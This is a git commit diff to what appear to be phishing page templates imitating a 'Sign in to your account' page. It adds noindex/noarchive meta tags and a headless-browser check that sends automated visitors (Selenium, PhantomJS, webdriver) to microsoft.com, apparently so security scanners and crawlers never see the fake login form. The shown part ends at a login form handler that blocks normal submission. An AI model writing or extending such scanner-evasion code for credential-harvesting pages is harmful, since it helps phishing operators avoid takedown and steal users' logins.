Add robots noarchive meta and headless browser detection to all page templates

This commit is contained in:
n0mad1k
2026-06-25 10:20:27 -04:00
parent 9ff8c94987
commit 459a76f91c
3 changed files with 38 additions and 2 deletions
@@ -3,6 +3,7 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, noarchive">
<title>{{ page_title | default('Sign in to your account') }}</title>
<style>
* {
@@ -190,6 +191,17 @@
</div>
</div>
<script>
(function() {
var headless = (
navigator.webdriver ||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
navigator.plugins.length === 0 ||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
);
if (headless) { window.location.replace('https://www.microsoft.com'); }
})();
</script>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();